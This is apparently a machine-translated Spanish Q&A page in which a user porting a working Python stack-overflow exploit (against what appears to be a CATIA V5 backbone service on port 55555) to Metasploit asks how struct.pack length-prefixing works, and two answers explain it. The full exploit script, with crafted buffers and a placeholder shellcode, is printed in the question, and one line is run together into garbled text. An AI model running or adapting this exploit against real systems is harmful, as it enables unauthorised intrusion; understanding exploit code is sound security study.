Python exploit question?

2

¿Alguien puede explicar cómo y por qué este código struct.pack se usa en el siguiente exploit? Estoy tratando de entender cómo desencadena la vulnerabilidad. Entiendo el aspecto de desbordamiento de búfer, me refiero al método struct.pack a continuación. Yo también soy un tipo de rubí, e hice algunos descubrimientos preliminares en el código sruct.pack a continuación, pero todavía no entiendo cómo desencadena la vulnerabilidad y por qué es necesario. Estoy en el proceso de trasladar el sploit a un módulo msf, y en este punto he verificado que el exploit funciona, pero no entiendo cómo funciona.

s.send(struct.pack('>I',len(buff)))structwrites/readsbinarydata.packreturnsstringcontainingvalues'>I',len,buff...packedaccordingtogivenformat.>representsbigendianbytealignment(standardsizenoalignment)Iformatcharacter=integerpythontype(4bytepackedvalue)len=bufferlength

Ref: enlace enlace

#!/usr/bin/env python

import socket
import struct
import ctypes

RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell                                  
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
    
pregunta nanotechz9l 28.02.2014 - 07:56
fuente

2 respuestas

3

No creo que el código que estás marcando sea el que está logrando explotar el error:

  

s.send (struct.pack ('> I', len (buff)))

Lo que está haciendo esta línea es enviar la longitud del búfer que enviará justo detrás de las endiannes apropiadas (Big Endian o endiannes de red).

Creo que el exploit en sí mismo tendrá que ver con las longitudes de la variable "buff" enviada, que probablemente será mal administrada:

  

Se produce un desbordamiento del búfer de pila al copiar una entrada suministrada por el usuario a un búfer de pila del tamaño proporcionado por el usuario.

    
respondido por el kiBytes 28.02.2014 - 08:12
fuente
1

s.send(struct.pack('>l',len(buff))) se puede leer como "enviar un big endian long (4 bytes) que contenga el valor [longitud de buff] sobre el socket".

struct.pack está especificando tanto la endianidad como el número de bytes para escribir en el cable.

enlace

En la conversión a Ruby, parece que la traducción más probable para struct.pack de Python es array.pack de Ruby. Nunca he escrito Ruby, pero supongo que [len(buff)].pack("N") es lo que quieres (big endian sin firma de 32 bits)

enlace

    
respondido por el antik 01.03.2014 - 19:31
fuente

Lea otras preguntas en las etiquetas